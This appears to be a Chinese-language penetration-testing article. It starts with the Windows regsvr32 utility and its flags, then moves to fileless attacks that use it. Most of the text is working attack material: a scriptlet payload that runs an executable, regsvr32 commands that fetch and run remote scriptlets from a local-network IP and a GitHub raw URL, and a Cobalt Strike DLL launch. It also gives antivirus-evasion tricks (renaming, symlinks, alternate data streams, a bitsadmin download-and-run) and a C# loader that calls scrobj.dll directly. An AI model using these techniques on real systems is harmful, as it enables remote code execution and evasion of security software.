Regsvr32 使用和無檔案攻擊的一些示例
Regsvr32使用方法
使用過activex的人都知道,activex不註冊是不能夠被系統識別和使用的,一般安裝程式都會自動地把它所使用的activex控制元件註冊,但如果你拿到的一個控制元件需要手動註冊怎麼辦呢?如果修改登錄檔那就太麻煩了,在windows的system資料夾下有一個regsvr32.exe的程式,它就是windows自帶的activex註冊和反註冊工具。它的用法為:
“regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。其中dllname為activex控制元件檔名,建議在安裝前拷貝到system資料夾下。
引數有如下意義:
/u——反註冊控制元件
/s——不管註冊成功與否,均不顯示提示框
/c——控制檯輸出
/i——跳過控制元件的選項進行安裝(與註冊不同)
/n——不註冊控制元件,此選項必須與/i選項一起使用
利用Regsvr32進行無檔案攻擊的一些示例: https://any.run/report/8fb2c48223952ffa157c8a0b9ab98e9f8b2924f7b8aa1faef94f3adc91eb8b61/e8ca24ff-3766-43fd-a7e6-9ac7254791a7 payload:- C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Anzipaj\tnqss.vtj"
- C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll
- C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Lluanj\eroykvous.yas"
payload:
- C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Strvtedpo\jiiuekutsoez.koi"
regsvr32 使用說明
0x00 regsvr32 簡介
在windows的system資料夾下有一個regsvr32.exe的程式,它就是windows自帶的activex註冊和反註冊工具。(activex不註冊是不能夠被系統識別和使用的,一般安裝程式都會自動地把它所使用的activex控制元件註冊)。Regsvr32命令用於註冊COM元件,是 Windows 系統提供的用來向系統註冊控制元件或者解除安裝控制元件的命令,以命令列方式執行。
0x01 regsvr32存放路徑
WinXP及以上系統的regsvr32.exe在windows\system32資料夾下;
2000系統的regsvr32.exe在winnt\system32資料夾。
0x02 regsvr32 用法
"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。
其中dllname為activex控制元件檔名,建議在安裝前拷貝到system資料夾下。
引數有如下意義:
/u——反註冊控制元件(解除安裝com組建)
/s——不管註冊成功與否,均不顯示提示框(靜默模式,不彈框)
/c——控制檯輸出
/i——跳過控制元件的選項進行安裝(傳給DllInstall的引數內容,regsvr32 允許註冊過程中 dll 進行一些自定義的安裝過程,該過程在 DllInstall 中實現。)
/n——不註冊控制元件,此選項必須與/i選項一起使用
Scrobj.dll:com伺服器,全名Windows Script Component,DllInstall方法在這個元件中實現。
eg
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
sct檔案的呼叫在scrobj.dll中的install過程,可以理解為regsvr32 只不過是負責呼叫 dll 的一個工具,可能還會有寫入登錄檔的功能。
0x03 regsvr32 命令執行案例
Regsvr32.exe直接呼叫dll程式
1、Cobalstrike 生成dll檔案
2、Regsvr32.exe直接呼叫dll程式
c:\Windows\System32\regsvr32.exe artifact.dll
3、cs成功上線
通過 sct 遠端執行繞過防病毒
這裡前提需要將 exe 檔案上傳到目標主機 本文上傳到c:\test.exe
payload.sct檔案內容如下:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k c:\\test.exe");
]]>
</script>
</registration>
</scriptlet>
上面程式碼可以上傳到Github等白名單域名 本文使用Cobalt Strike自帶的服務來搭建 順便介紹功能
開啟>Web Drive-by>Host File
regsvr32 /u /n /s /i:http://192.168.130.130:80/payload.sct scrobj.dll
呼叫scrobj.dll 繞過方法
- 改變 scrobj.dll 的名稱
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
- 為 scrobj.dll 建立符號連結
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
- 利用 NTFS ADS 功能繞過
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
- 先將 sct 檔案放到本地,然後執行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
- 直接呼叫scrobj.dll的DllInstall方法
其實可以不用regsvr32.exe,使用他的目的是因為他是 windows 自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程式直接呼叫 scrobj.dll 的 DllInstall 方法實現程式碼執行。C#程式碼如下:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;
namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
static void Main(string[] args)
{
const string dllPath = "scrobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if (hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("Can't load Dll " + dllPath, innerEx);
}
IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
fDllInstall(false, "http://192.168.50.129:80/payload.sct");
}
}
}
成功呼叫scrobj.dll的DllInstall 方法實現程式碼執行。
__EOF__